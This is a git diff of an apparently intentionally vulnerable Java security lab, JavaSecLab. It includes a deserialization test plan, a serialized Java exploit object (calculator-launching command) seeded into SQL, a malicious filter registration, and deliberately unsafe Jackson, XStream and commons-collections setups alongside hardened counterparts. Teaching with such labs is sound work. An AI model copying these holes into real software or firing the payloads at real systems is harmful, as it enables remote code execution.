反序列化入口。模块重点演示“不可信数据恢复为对象”时,攻击者如何通过对象图、类型标签、构造器、setter、`readObject` 或组件 gadget 链,把普通数据解析入口升级为代码执行、类加载、文件操作或拒绝服务风险。 + +反序列化漏洞的本质是不可信输入进入对象构造和方法调用上下文。修复时优先避免使用 Java 原生序列化协议接收外部输入;确需解析时应采用 JSON/XML/YAML 普通数据绑定到固定 DTO,禁用任意类型解析,使用类型白名单、JEP 290 `ObjectInputFilter`、`SafeConstructor`、依赖升级、外部实体禁用、大小限制和隔离执行。单纯黑名单或关闭某个 gadget 开关只能降低特定利用链风险,不能视为完整修复。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| JDK 原生反序列化 | `/readObject/vul`、`/readObject/safe1`、`/readObject/safe2` | 覆盖 ObjectInputStream 直接读取不可信字节流、gadget 开关和类型白名单对照 | +| SnakeYAML | `/snakeYaml/vul`、`/snakeYaml/safe` | 覆盖默认 Constructor 按 `!!类名` 实例化对象,以及 SafeConstructor 只解析基础类型 | +| XMLDecoder | `/xmlDecoder/vul`、`/xmlDecoder/safe` | 覆盖 XMLDecoder 对象图执行方法调用,以及使用普通 XML 解析器替代危险对象反序列化 | + +### ReadObject 测试 + +页面:`/readObject` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /readObject` | 已登录会话 | 页面正常打开,展示原生反序列化、gadget 开关和白名单安全场景 | +| 空 Payload | `POST /readObject/vul` | 不传 `payload` | 返回“Payload不能为空”或 Payload 错误提示,页面不出现 500 | +| 良性对象反序列化 | `POST /readObject/vul` | `payload=rO0ABXQACkphdmFTZWNMYWI=` | 返回 `JavaSecLab`,说明服务端执行了 `ObjectInputStream.readObject()` | +| Commons Collections 开关 | `POST /readObject/safe1` | 使用页面示例 payload | 返回执行失败或禁用提示,说明特定 gadget 链被限制;该方式不是完整防护 | +| 类型白名单 | `POST /readObject/safe2` | 使用页面示例 gadget payload | 返回反序列化失败,说明非白名单类被拒绝;`String` 等协议原生类型可能正常通过,应结合 JEP 290 进一步限制 | + +### SnakeYAML 测试 + +页面:`/snakeYaml` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /snakeYaml` | 已登录会话 | 页面正常打开,展示默认 Constructor 和 SafeConstructor 对照 | +| 默认类型实例化 | `POST /snakeYaml/vul` | `payload=!!top.whgojp.modules.sqli.entity.Sqli {id: 1, username: test, password: pass}` | 返回解析结果中包含 `Sqli` 对象信息,说明 `!!类名` 被实例化 | +| 普通 YAML 安全解析 | `POST /snakeYaml/safe` | `payload=name: JavaSecLab` | 返回普通 Map 解析结果 | +| 阻断 Java 类型标签 | `POST /snakeYaml/safe` | `payload=!!top.whgojp.modules.sqli.entity.Sqli {id: 1, username: test, password: pass}` | 返回反序列化失败,说明 SafeConstructor 不允许任意 Java 类型构造 | + +### XMLDecoder 测试 + +页面:`/xmlDecoder` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /xmlDecoder` | 已登录会话 | 页面正常打开,展示 XMLDecoder 对象图执行和普通 XML 解析器对照 | +| 空 Payload | `POST /xmlDecoder/vul` | 不传 `payload` | 返回“Payload不能为空” | +| XMLDecoder 命令执行链路 | `POST /xmlDecoder/vul` | `payload=true` | 返回“命令执行成功”,说明 XMLDecoder 构造并启动了 ProcessBuilder | +| 普通 XML 解析器对照 | `POST /xmlDecoder/safe` | `payload=true` | 返回“命令解析成功:true”,只解析文本参数,不调用 ProcessBuilder.start() | +| 安全场景空 Payload | `POST /xmlDecoder/safe` | 不传 `payload` | 返回“Payload不能为空”,页面不出现 500 | diff --git a/pic/flow1.png b/pic/flow1.png new file mode 100644 index 0000000..fc58e5c Binary files /dev/null and b/pic/flow1.png differ diff --git a/pic/flow2.png b/pic/flow2.png new file mode 100644 index 0000000..9482f9c Binary files /dev/null and b/pic/flow2.png differ diff --git a/pic/group.png b/pic/group.png index f7843ba..a3537d9 100644 Binary files a/pic/group.png and b/pic/group.png differ diff --git a/pom.xml b/pom.xml index c7abdbb..a3beddf 100644 --- a/pom.xml +++ b/pom.xml @@ -6,16 +6,16 @@ top.whgojp JavaSecLab - 1.3.0 + 1.5.0 Java综合漏洞平台 - hello JavaSec! + hello JavaSecLab! org.springframework.boot spring-boot-starter-parent - - 2.4.1 - + + 2.4.1 + @@ -24,11 +24,12 @@ UTF-8 3.0.0 5.8.21 - 1.18.4 + 1.18.38 3.5.1 - 8.0.33 + + 8.0.14 2.2.0.0 - 0.10.7 + 0.11.5 @@ -75,43 +76,13 @@ 1.2.16 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - com.mysql - mysql-connector-j - ${mysql.version} + + mysql + mysql-connector-java + 8.0.14 + com.baomidou @@ -192,19 +163,6 @@ provided - - - - - - - - - - - - - org.codehaus.groovy groovy-all @@ -271,12 +229,49 @@ 1.70 + + ognl + ognl + 3.3.1 + + + commons-collections + commons-collections + 3.2.1 + + + + org.springframework.boot + spring-boot-starter-websocket + 2.4.1 + + + + + com.baomidou + dynamic-datasource-spring-boot-starter + 3.6.1 + JavaSecLab + + + org.apache.maven.plugins + maven-compiler-plugin + + + + org.projectlombok + lombok + ${lombok.version} + + + + org.apache.maven.plugins @@ -296,29 +291,16 @@ + - central - https://repo.maven.apache.org/maven2 - - - spring-milestone - https://repo.spring.io/milestone + aliyun-central + https://maven.aliyun.com/repository/central - spring-release - https://repo.spring.io/release - - - acfunnexus - https://maven.aliyun.com/repository/public/ - default - - true - - - true - + aliyun-public + https://maven.aliyun.com/repository/public + diff --git a/sql/JavaSecLab.sql b/sql/JavaSecLab.sql index a4a9548..f5a046b 100644 --- a/sql/JavaSecLab.sql +++ b/sql/JavaSecLab.sql @@ -1,5 +1,5 @@ /* - Navicat Premium Data Transfer + Navicat Premium Dump SQL Source Server : mysql_docker_mac Source Server Type : MySQL @@ -11,47 +11,27 @@ Target Server Version : 80200 (8.2.0) File Encoding : 65001 - Date: 10/11/2024 13:17:18 + Date: 23/03/2025 17:52:40 */ SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- --- Table structure for hsqli +-- Table structure for objects -- ---------------------------- -DROP TABLE IF EXISTS `hsqli`; -CREATE TABLE `hsqli` ( - `id` bigint NOT NULL AUTO_INCREMENT, - `password` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL, - `username` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL, +DROP TABLE IF EXISTS `objects`; +CREATE TABLE `objects` ( + `id` int NOT NULL, + `malicious_object` blob, PRIMARY KEY (`id`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; - --- ---------------------------- --- Records of hsqli --- ---------------------------- -BEGIN; -COMMIT; - --- ---------------------------- --- Table structure for log --- ---------------------------- -DROP TABLE IF EXISTS `log`; -CREATE TABLE `log` ( - `logId` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT 'log_id', - `username` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '用户名', - `optionName` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '用户操作', - `optionTerminal` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '操作终端', - `optionIp` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT 'Ip地址', - `optionTime` date DEFAULT NULL COMMENT '创建时间', - PRIMARY KEY (`logId`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; -- ---------------------------- --- Records of log +-- Records of objects -- ---------------------------- BEGIN; +INSERT INTO `objects` (`id`, `malicious_object`) VALUES (1, 0xACED000573720034746F702E7768676F6A702E6D6F64756C65732E737072696E67626F6F742E656E746974792E4D616C6963696F75734F626A656374C007A841C29C41060200014C0007636F6D6D616E647400124C6A6176612F6C616E672F537472696E673B78707400126F70656E202D612043616C63756C61746F72); COMMIT; -- ---------------------------- @@ -60,16 +40,18 @@ COMMIT; DROP TABLE IF EXISTS `sqli`; CREATE TABLE `sqli` ( `id` int NOT NULL AUTO_INCREMENT, - `username` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', - `password` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', + `username` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', PRIMARY KEY (`id`) USING BTREE -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; +) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; -- ---------------------------- -- Records of sqli -- ---------------------------- BEGIN; -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (1, 'test', 'test'); +INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (1, 'admin', 'admin'); +INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (2, 'admin123', 'admin123'); +INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (3, 'test', 'test'); COMMIT; -- ---------------------------- @@ -77,8 +59,8 @@ COMMIT; -- ---------------------------- DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( - `username` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', - `password` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', + `username` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', PRIMARY KEY (`username`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; @@ -97,11 +79,11 @@ COMMIT; DROP TABLE IF EXISTS `xss`; CREATE TABLE `xss` ( `id` int NOT NULL AUTO_INCREMENT COMMENT '主键id', - `content` text COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入内容', + `content` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入内容', `ua` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT 'User-Agent', - `date` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入时间', + `date` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入时间', PRIMARY KEY (`id`) -) ENGINE=InnoDB AUTO_INCREMENT=82 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; +) ENGINE=InnoDB AUTO_INCREMENT=85 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; -- ---------------------------- -- Records of xss diff --git a/src/main/java/top/whgojp/common/config/DataSourceConfiguration.java b/src/main/java/top/whgojp/common/config/DataSourceConfiguration.java deleted file mode 100644 index 7b850d7..0000000 --- a/src/main/java/top/whgojp/common/config/DataSourceConfiguration.java +++ /dev/null @@ -1,24 +0,0 @@ -//package top.whgojp.common.config; -// -//import com.alibaba.druid.pool.DruidDataSource; -//import org.springframework.boot.context.properties.ConfigurationProperties; -//import org.springframework.context.annotation.Bean; -//import org.springframework.context.annotation.Configuration; -// -//import javax.activation.DataSource; -// -///** -// * @description <功能描述> -// * @author: whgojp -// * @email: whgojp@foxmail.com -// * @Date: 2024/8/9 13:17 -// */ -//@Configuration -//public class DataSourceConfiguration { -// -// @ConfigurationProperties(prefix = "spring.datasource.druid") -// @Bean -// public DataSource dataSource(){ -// return (DataSource) new DruidDataSource(); -// } -//} \ No newline at end of file diff --git a/src/main/java/top/whgojp/common/config/FilterConfig.java b/src/main/java/top/whgojp/common/config/FilterConfig.java new file mode 100644 index 0000000..4fdaad9 --- /dev/null +++ b/src/main/java/top/whgojp/common/config/FilterConfig.java @@ -0,0 +1,19 @@ +package top.whgojp.common.config; + +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import top.whgojp.modules.mshell.entity.MaliciousFilter; + +@Configuration +public class FilterConfig { + + @Bean + public FilterRegistrationBean maliciousFilter() { + FilterRegistrationBean registrationBean = new FilterRegistrationBean<>(); + registrationBean.setFilter(new MaliciousFilter()); + registrationBean.addUrlPatterns("/mshell/filter/*"); // 拦截所有请求 + registrationBean.setOrder(1); // 可以设置过滤器的优先级,值越小,优先级越高 + return registrationBean; + } +} diff --git a/src/main/java/top/whgojp/common/config/HibernateConfig.java b/src/main/java/top/whgojp/common/config/HibernateConfig.java deleted file mode 100644 index 71a58d4..0000000 --- a/src/main/java/top/whgojp/common/config/HibernateConfig.java +++ /dev/null @@ -1,55 +0,0 @@ -//package top.whgojp.common.config; -// -//import org.hibernate.SessionFactory; -//import org.springframework.context.annotation.Bean; -//import org.springframework.context.annotation.ComponentScan; -//import org.springframework.context.annotation.Configuration; -//import org.springframework.jdbc.datasource.DriverManagerDataSource; -//import org.springframework.orm.hibernate5.HibernateTransactionManager; -//import org.springframework.orm.hibernate5.LocalSessionFactoryBean; -//import org.springframework.transaction.annotation.EnableTransactionManagement; -// -//import javax.sql.DataSource; -//import java.util.Properties; -// -//@Configuration -//@EnableTransactionManagement -//@ComponentScan(basePackages = "top.whgojp") // 替换为你的包名 -//public class HibernateConfig { -// -// @Bean -// public LocalSessionFactoryBean sessionFactory() { -// LocalSessionFactoryBean sessionFactory = new LocalSessionFactoryBean(); -// sessionFactory.setDataSource(dataSource()); // 设置数据源 -// sessionFactory.setPackagesToScan("top.whgojp"); // 替换为包含实体类的包名 -// sessionFactory.setHibernateProperties(hibernateProperties()); -// return sessionFactory; -// } -// -// @Bean -// public DataSource dataSource() { -// DriverManagerDataSource dataSource = new DriverManagerDataSource(); -// dataSource.setDriverClassName("com.mysql.cj.jdbc.Driver"); -// dataSource.setUrl("jdbc:mysql://localhost:13306/JavaSecLab"); -// dataSource.setUsername("root"); -// dataSource.setPassword("QWE123qwe"); -// return dataSource; -// } -// -// @Bean -// public HibernateTransactionManager transactionManager(SessionFactory sessionFactory) { -// HibernateTransactionManager txManager = new HibernateTransactionManager(); -// txManager.setSessionFactory(sessionFactory); -// return txManager; -// } -// -// private Properties hibernateProperties() { -// Properties properties = new Properties(); -// properties.put("hibernate.dialect", "org.hibernate.dialect.MySQLDialect"); -// properties.put("hibernate.show_sql", true); -// properties.put("hibernate.format_sql", true); -// properties.put("hibernate.hbm2ddl.auto", "update"); -// return properties; -// } -// -//} diff --git a/src/main/java/top/whgojp/common/config/ViewResolverConfiguration.java b/src/main/java/top/whgojp/common/config/ViewResolverConfiguration.java deleted file mode 100644 index 0bccf79..0000000 --- a/src/main/java/top/whgojp/common/config/ViewResolverConfiguration.java +++ /dev/null @@ -1,80 +0,0 @@ -//package top.whgojp.common.config; -// -//import org.springframework.beans.factory.annotation.Autowired; -//import org.springframework.context.annotation.Bean; -//import org.springframework.context.annotation.ComponentScan; -//import org.springframework.context.annotation.Configuration; -//import org.springframework.web.servlet.ViewResolver; -//import org.springframework.web.servlet.config.annotation.DefaultServletHandlerConfigurer; -//import org.springframework.web.servlet.config.annotation.EnableWebMvc; -//import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; -//import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; -//import org.springframework.web.servlet.view.InternalResourceViewResolver; -//import org.thymeleaf.spring5.SpringTemplateEngine; -//import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver; -//import org.thymeleaf.spring5.view.ThymeleafViewResolver; -//import org.thymeleaf.templatemode.TemplateMode; -//import top.whgojp.common.constant.SysConstant; -// -//@Configuration -//@EnableWebMvc -//@ComponentScan("top.whgojp.modules") // 扫描控制器组件 -//public class ViewResolverConfiguration implements WebMvcConfigurer { -// -// @Autowired -// private SysConstant sysConstant; -// -// @Override -// public void addResourceHandlers(ResourceHandlerRegistry registry) { -// String uploadFolderPath = sysConstant.getUploadFolder(); -// registry.addResourceHandler("/file/**") -// .addResourceLocations("file:" + uploadFolderPath + "/"); -// registry.addResourceHandler("/static/**") -// .addResourceLocations("classpath:/static/"); -// } -// -// // Thymeleaf视图解析器 -// @Bean -// public ViewResolver thymeleafViewResolver() { -// ThymeleafViewResolver resolver = new ThymeleafViewResolver(); -// resolver.setTemplateEngine(templateEngine()); -// resolver.setCharacterEncoding("UTF-8"); -// resolver.setOrder(1); // 优先级较高 -// return resolver; -// } -// -// // JSP视图解析器 -// @Bean -// public ViewResolver jspViewResolver() { -// InternalResourceViewResolver resolver = new InternalResourceViewResolver(); -// resolver.setPrefix("/WEB-INF/"); -// resolver.setSuffix(".jsp"); -// resolver.setViewNames("jsp/*"); // 只有在视图名称以"jsp/"开头时才使用JSP解析器 -// resolver.setOrder(2); // 优先级较低 -// return resolver; -// } -// -// -// -// @Bean -// public SpringResourceTemplateResolver templateResolver() { -// SpringResourceTemplateResolver templateResolver = new SpringResourceTemplateResolver(); -// templateResolver.setPrefix("classpath:/templates/"); -// templateResolver.setSuffix(".html"); -// templateResolver.setTemplateMode(TemplateMode.HTML); -// templateResolver.setCharacterEncoding("UTF-8"); -// return templateResolver; -// } -// -// @Bean -// public SpringTemplateEngine templateEngine() { -// SpringTemplateEngine templateEngine = new SpringTemplateEngine(); -// templateEngine.setTemplateResolver(templateResolver()); -// return templateEngine; -// } -// -// @Override -// public void configureDefaultServletHandling(DefaultServletHandlerConfigurer configurer) { -// configurer.enable("default"); -// } -//} diff --git a/src/main/java/top/whgojp/common/filter/ValidateCodeFilter.java b/src/main/java/top/whgojp/common/filter/ValidateCodeFilter.java index f91c768..5e7843f 100644 --- a/src/main/java/top/whgojp/common/filter/ValidateCodeFilter.java +++ b/src/main/java/top/whgojp/common/filter/ValidateCodeFilter.java @@ -40,24 +40,24 @@ protected void doFilterInternal(HttpServletRequest request, HttpServletResponse if (StrUtil.isBlank(captcha)) { CustomAuthenticationException exception = new CustomAuthenticationException("验证码为空"); -// log.error(exception.getMessage()); customSimpleUrlAuthenticationFailureHandler.onAuthenticationFailure(request, response, exception); return; } HttpSession session = request.getSession(); - String captchaCode = String.valueOf(session.getAttribute("captcha")); + Object captchaCodeObj = session.getAttribute("captcha"); + String captchaCode = captchaCodeObj == null ? "" : String.valueOf(captchaCodeObj); if (StrUtil.isEmpty(captchaCode)) { CustomAuthenticationException exception = new CustomAuthenticationException("验证码过期"); -// log.error(exception.getMessage()); + session.removeAttribute("captcha"); customSimpleUrlAuthenticationFailureHandler.onAuthenticationFailure(request, response, exception); return; } + session.removeAttribute("captcha"); if (!captcha.equalsIgnoreCase(captchaCode)) { CustomAuthenticationException exception = new CustomAuthenticationException("验证码不正确"); -// log.error("验证码不正确" + ";用户输入验证码:" + captcha + ";正确验证码:" + captchaCode); customSimpleUrlAuthenticationFailureHandler.onAuthenticationFailure(request, response, exception); return; } diff --git a/src/main/java/top/whgojp/common/utils/CheckUserInput.java b/src/main/java/top/whgojp/common/utils/CheckUserInput.java index 13f8ad9..40706e9 100644 --- a/src/main/java/top/whgojp/common/utils/CheckUserInput.java +++ b/src/main/java/top/whgojp/common/utils/CheckUserInput.java @@ -1,12 +1,16 @@ package top.whgojp.common.utils; import org.springframework.stereotype.Component; - +import org.springframework.web.util.HtmlUtils; +import java.net.InetAddress; import java.net.URI; import java.net.URISyntaxException; +import java.net.UnknownHostException; import java.util.ArrayList; import java.util.Arrays; import java.util.List; +import java.util.Locale; +import java.util.regex.Pattern; /** * @description 用户输入数据校验 @@ -16,6 +20,30 @@ */ @Component public class CheckUserInput { + private static final Pattern SCRIPT_PATTERN = Pattern.compile("]*>.*?", Pattern.CASE_INSENSITIVE | Pattern.DOTALL); + private static final Pattern EVENT_PATTERN = Pattern.compile("on\\w+\\s*=", Pattern.CASE_INSENSITIVE); + private static final Pattern JAVASCRIPT_PATTERN = Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE); + + public String filter(String input) { + if (input == null) { + return ""; + } + + // 基本HTML转义 + String filtered = HtmlUtils.htmlEscape(input); + + // 移除script标签 + filtered = SCRIPT_PATTERN.matcher(filtered).replaceAll(""); + + // 移除事件处理器 + filtered = EVENT_PATTERN.matcher(filtered).replaceAll(""); + + // 移除javascript:协议 + filtered = JAVASCRIPT_PATTERN.matcher(filtered).replaceAll(""); + + return filtered; + } + public String checkUser(String username, String password, Integer id) { String message = ""; if (username == null || username.isEmpty()) { @@ -92,9 +120,12 @@ public boolean checkSqlWhiteList(String content) { * 文件上传白名单 */ public boolean checkFileSuffixWhiteList(String suffix) { + if (suffix == null || suffix.isEmpty()) { + return false; + } String[] white_list = {"jpg", "png", "gif","jpeg","bmp","ico"}; for (String s : white_list) { - if (suffix.toLowerCase().contains(s)) { + if (suffix.equalsIgnoreCase(s)) { return true; } } @@ -126,7 +157,13 @@ public boolean checkURL(String url) { * ssrf:判断http(s)协议 */ public boolean isHttp(String url){ - return url.startsWith("http://") || url.startsWith("https://"); + try { + URI uri = new URI(url); + String scheme = uri.getScheme(); + return "http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme); + } catch (URISyntaxException e) { + return false; + } } /** * ssrf:请求域名白名单 @@ -134,13 +171,33 @@ public boolean isHttp(String url){ public boolean ssrfWhiteList(String url) { List urlList = new ArrayList<>(Arrays.asList("baidu.com", "www.baidu.com", "whgojp.top")); try { - URI uri = new URI(url.toLowerCase()); + URI uri = new URI(url); String host = uri.getHost(); - return urlList.contains(host); - } catch (URISyntaxException e) { + if (host == null || uri.getUserInfo() != null) { + return false; + } + return urlList.contains(host.toLowerCase(Locale.ROOT)) && !isInternalHost(host); + } catch (URISyntaxException | UnknownHostException e) { System.out.println(e); return false; } } + /** + * SSRF:解析域名后的所有IP都不能落入内网、回环、链路本地等地址段。 + */ + private boolean isInternalHost(String host) throws UnknownHostException { + InetAddress[] addresses = InetAddress.getAllByName(host); + for (InetAddress address : addresses) { + if (address.isAnyLocalAddress() + || address.isLoopbackAddress() + || address.isLinkLocalAddress() + || address.isSiteLocalAddress() + || address.isMulticastAddress()) { + return true; + } + } + return false; + } + } diff --git a/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java b/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java index 0e7e200..03de345 100644 --- a/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java +++ b/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java @@ -38,6 +38,11 @@ public String vul(@RequestBody String content) { } } + public String vul2(){ + + return ""; + } + @PostMapping("/safe") @ResponseBody public String safe(@RequestBody String content) { diff --git a/src/main/java/top/whgojp/modules/components/jackson/controller/JacksonController.java b/src/main/java/top/whgojp/modules/components/jackson/controller/JacksonController.java index 20febaa..e570f10 100644 --- a/src/main/java/top/whgojp/modules/components/jackson/controller/JacksonController.java +++ b/src/main/java/top/whgojp/modules/components/jackson/controller/JacksonController.java @@ -3,12 +3,12 @@ import com.fasterxml.jackson.core.type.TypeReference; import com.fasterxml.jackson.databind.DeserializationFeature; import com.fasterxml.jackson.databind.ObjectMapper; -import com.fasterxml.jackson.databind.jsontype.impl.LaissezFaireSubTypeValidator; import io.swagger.annotations.Api; import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; +import java.util.LinkedHashMap; import java.util.Map; /** @@ -29,8 +29,12 @@ public String jackson() { } @RequestMapping("/vul") - public String vul(@RequestBody String content) { + @ResponseBody + public String vul(@RequestBody(required = false) String content) { try { + if (content == null || content.trim().isEmpty()) { + content = "[\"java.util.HashMap\",{\"name\":\"JavaSecLab\"}]"; + } ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); // 启用多态类型处理 @@ -44,21 +48,18 @@ public String vul(@RequestBody String content) { } - @PostMapping("/safe") + @RequestMapping("/safe") @ResponseBody - public String safeJackson(@RequestBody String payload) { + public String safeJackson(@RequestBody(required = false) String payload) { try { + if (payload == null || payload.trim().isEmpty()) { + payload = "{\"name\":\"JavaSecLab\"}"; + } ObjectMapper mapper = new ObjectMapper(); - - // 启用安全的类型验证 - mapper.activateDefaultTyping( - LaissezFaireSubTypeValidator.instance, - ObjectMapper.DefaultTyping.NON_FINAL - ); mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true); - // 反序列化传入的JSON数据 - Map safePayload = mapper.readValue(payload, Map.class); + // 不启用DefaultTyping,仅解析为普通Map结构。 + Map safePayload = mapper.readValue(payload, new TypeReference>() {}); return mapper.writeValueAsString(safePayload); } catch (Exception e) { e.printStackTrace(); diff --git a/src/main/java/top/whgojp/modules/components/xstream/controller/XstreamController.java b/src/main/java/top/whgojp/modules/components/xstream/controller/XstreamController.java index 3d3a1e2..f784d1b 100644 --- a/src/main/java/top/whgojp/modules/components/xstream/controller/XstreamController.java +++ b/src/main/java/top/whgojp/modules/components/xstream/controller/XstreamController.java @@ -41,37 +41,62 @@ public String xstream() { @RequestMapping("/vul") @ResponseBody - public String vul(@RequestBody String content) { - log.info("组件漏洞-Xstream\n" + "Payload:" + content); - XStream xs = new XStream(); - Object result = xs.fromXML(content); // 反序列化得到的对象 + public String vul(@RequestBody(required = false) String content) { + try { + if (content == null || content.trim().isEmpty()) { + content = "JavaSecLab"; + } + log.info("组件漏洞-Xstream\n" + "Payload:" + content); + XStream xs = new XStream(); + Object result = xs.fromXML(content); // 反序列化得到的对象 - // 检查反序列化后的结果并返回相关信息 - return "组件漏洞-Xstream Vul, 反序列化结果: \n" + result.toString(); + // 检查反序列化后的结果并返回相关信息 + return "组件漏洞-Xstream Vul, 反序列化结果: \n" + result; + } catch (Exception e) { + log.error("XStream反序列化失败", e); + return "组件漏洞-Xstream Vul 执行失败:" + e.getMessage(); + } } @RequestMapping("/safe1") - public String safe1(@RequestBody String content) { - XStream xstream = new XStream(); - // 首先清除默认设置,然后进行自定义设置 - xstream.addPermission(NoTypePermission.NONE); - // 将ImageIO类加入黑名单 - xstream.denyPermission(new ExplicitTypePermission(new Class[]{ImageIO.class})); - xstream.fromXML(content); - return "组件漏洞-Xstream Safe-BlackList"; + @ResponseBody + public String safe1(@RequestBody(required = false) String content) { + try { + if (content == null || content.trim().isEmpty()) { + content = "JavaSecLab"; + } + XStream xstream = new XStream(); + // 黑名单示例:拒绝已知危险类型。 + xstream.denyPermission(new ExplicitTypePermission(new Class[]{ImageIO.class})); + Object result = xstream.fromXML(content); + return "组件漏洞-Xstream Safe-BlackList, 解析结果:" + result; + } catch (Exception e) { + log.error("XStream黑名单场景解析失败", e); + return "组件漏洞-Xstream Safe-BlackList 执行失败:" + e.getMessage(); + } } @RequestMapping("/safe2") - public String safe2(@RequestBody String content) { - XStream xstream = new XStream(); - // 首先清除默认设置,然后进行自定义设置 - xstream.addPermission(NoTypePermission.NONE); - // 添加一些基础的类型,如Array、NULL、primitive - xstream.addPermission(ArrayTypePermission.ARRAYS); - xstream.addPermission(NullPermission.NULL); - xstream.addPermission(PrimitiveTypePermission.PRIMITIVES); - // 添加自定义的类列表 - xstream.addPermission(new ExplicitTypePermission(new Class[]{Date.class})); - return "组件漏洞-Xstream Safe-WhiteList"; + @ResponseBody + public String safe2(@RequestBody(required = false) String content) { + try { + if (content == null || content.trim().isEmpty()) { + content = "1"; + } + XStream xstream = new XStream(); + // 首先清除默认设置,然后进行自定义设置 + xstream.addPermission(NoTypePermission.NONE); + // 添加一些基础的类型,如Array、NULL、primitive + xstream.addPermission(ArrayTypePermission.ARRAYS); + xstream.addPermission(NullPermission.NULL); + xstream.addPermission(PrimitiveTypePermission.PRIMITIVES); + // 添加自定义的类列表 + xstream.addPermission(new ExplicitTypePermission(new Class[]{Date.class})); + Object result = xstream.fromXML(content); + return "组件漏洞-Xstream Safe-WhiteList, 解析结果:" + result; + } catch (Exception e) { + log.error("XStream白名单场景解析失败", e); + return "组件漏洞-Xstream Safe-WhiteList 执行失败:" + e.getMessage(); + } } // CVE-2020-26259 任意文件删除示例 diff --git a/src/main/java/top/whgojp/modules/crossorigin/controller/CrossOriginController.java b/src/main/java/top/whgojp/modules/crossorigin/controller/CrossOriginController.java index 5a628e4..f35f95a 100644 --- a/src/main/java/top/whgojp/modules/crossorigin/controller/CrossOriginController.java +++ b/src/main/java/top/whgojp/modules/crossorigin/controller/CrossOriginController.java @@ -1,6 +1,5 @@ package top.whgojp.modules.crossorigin.controller; -import io.jsonwebtoken.io.IOException; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import lombok.extern.slf4j.Slf4j; @@ -10,6 +9,11 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; +import java.util.regex.Pattern; /** * @description 跨源安全问题 @@ -24,6 +28,12 @@ @RequestMapping("/crossorigin") public class CrossOriginController { + private static final Set TRUSTED_ORIGINS = new HashSet<>(Arrays.asList( + "http://127.0.0.1:8080", + "https://127.0.0.1:8080" + )); + private static final Pattern JSONP_CALLBACK_PATTERN = Pattern.compile("^[A-Za-z_$][A-Za-z0-9_$]*(\\.[A-Za-z_$][A-Za-z0-9_$]*)*$"); + @RequestMapping("/cors") public String cors() { return "vul/crossorigin/cors"; @@ -33,10 +43,10 @@ public String jsonp() { return "vul/crossorigin/jsonp"; } - @GetMapping("/corsVul") + @RequestMapping(value = "/corsVul", method = {RequestMethod.GET, 